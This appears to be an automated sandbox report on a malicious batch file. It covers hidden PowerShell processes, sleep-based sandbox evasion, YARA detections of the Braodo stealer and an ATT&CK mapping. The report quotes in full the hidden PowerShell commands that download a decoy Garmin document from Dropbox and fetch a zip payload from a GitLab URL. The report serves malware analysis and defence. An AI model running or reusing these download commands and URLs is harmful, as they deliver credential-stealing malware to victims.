Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3857	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6032	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5085	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1411	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4352	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5346	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2024	Thread sleep count: 3857 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4924	Thread sleep count: 6032 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7260	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7592	Thread sleep count: 5085 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7596	Thread sleep count: 1411 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7620	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7608	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7712	Thread sleep count: 4352 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7716	Thread sleep count: 5346 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7756	Thread sleep time: -20291418481080494s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 6084	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: svchost.exe, 00000019.00000002.3419783687.000001FA6D85A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000019.00000002.3418255179.000001FA6822B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: powershell.exe, 00000012.00000002.3409445774.0000022958893000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: powershell.exe, 0000000D.00000002.2261579190.000001E36CF40000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV0T

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: amsi64_5000.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7664.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 5000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7664, type: MEMORYSTR

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp.com 437	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I set "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I goto "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I echo "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe fINdstr /L /I pause "C:\Users\user\Desktop\slifdgjsidfg19.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe fInd	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c type tmp	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Start-Process 'C:\Users\user\AppData\Local\Temp\\Garmin_Campaign_Information_for_Partners_V11.docx'"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip', 'C:\Users\Public\Document.zip')"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/garmin_campaign_information_for_partners_v11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v11.docx')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/fgh8090051/jgh/-/raw/main/fga1812.zip', 'c:\users\public\document.zip')"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/garmin_campaign_information_for_partners_v11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1', 'c:\users\user\appdata\local\temp\\garmin_campaign_information_for_partners_v11.docx')"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; (new-object -typename system.net.webclient).downloadfile('https://gitlab.com/fgh8090051/jgh/-/raw/main/fga1812.zip', 'c:\users\public\document.zip')"	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Stealing of Sensitive Information

Yara detected Braodo

Source: Yara match	File source: amsi64_7664.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7664, type: MEMORYSTR

Remote Access Functionality

Yara detected Braodo

Source: Yara match	File source: amsi64_7664.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 7664, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	11 Scripting	Valid Accounts	1 Command and Scripting Interpreter	11 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	111 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 PowerShell	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	21 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
slifdgjsidfg19.bat	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://uc70263987fbdc807f2c64405811.dl.dropboxusercontent.com/cd/0/get/CghynLncRCxsD1w_kJ7iXmbTCmrH	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
gitlab.com	172.65.251.78	true	false	high
www-env.dropbox-dns.com	162.125.69.18	true	false	high
ax-0001.ax-msedge.net	150.171.28.10	true	false	high
www.dropbox.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://gitlab.com/fgh8090051/jgh/-/raw/main/FGa1812.zip	false		high
https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.docx?rlkey=oy421vwzu8dsedagxt4w0ddsw&st=31jc5byu&dl=1	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://gitlab.com	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/service_worker.js	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/-/sandbox/;	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellofax.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://pal-test.adyen.com	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.dropbox.com	powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://paper.dropbox.com/cloud-docs/edit	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://snowplow.trx.gitlab.net	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://app.hellosign.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://collector.prd-278964.gl-product-analytics.com	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.hellosign.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/fgh8090051/jgh/-/raw/main/fga1812.zip	powershell.exe, 00000012.00000002.3407137368.00000229581D0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://instructorledlearning.dropboxbusiness.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/page_success/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com	powershell.exe, 00000012.00000002.3352680055.00000229417CF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.0000022940DE2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/pithos/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sales.dropboxbusiness.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://photos.dropbox.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://a.sprig.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.docsend.com/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/encrypted_folder_download/service_worker.js	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gitlab.com/assets/	powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://new-sentry.gitlab.net/api/4/security/?sentry_key=f5573e26de8f4293b285e556c35dfd6e&sentry_env	powershell.exe, 00000012.00000002.3352680055.00000229417D4000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3352680055.00000229417F8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://navi.dropbox.jp/	powershell.exe, 0000000D.00000002.2238448127.000001E30164F000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E301653000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E30162F000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000012.00000002.3352680055.0000022941C25000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 0000000D.00000002.2238448127.000001E3017B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E3101B6000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2254781179.000001E310074000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950225000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000012.00000002.3400400303.0000022950367000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.dropbox.com/scl/fi/mfmemsox3eb9769rgrajn/Garmin_Campaign_Information_for_Partners_V11.do	powershell.exe, 0000000D.00000002.2238448127.000001E300001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2238448127.000001E300232000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.2262151033.000001E36CFEB000.00000004.00000020.00020000.00000000.sdmp	false		high
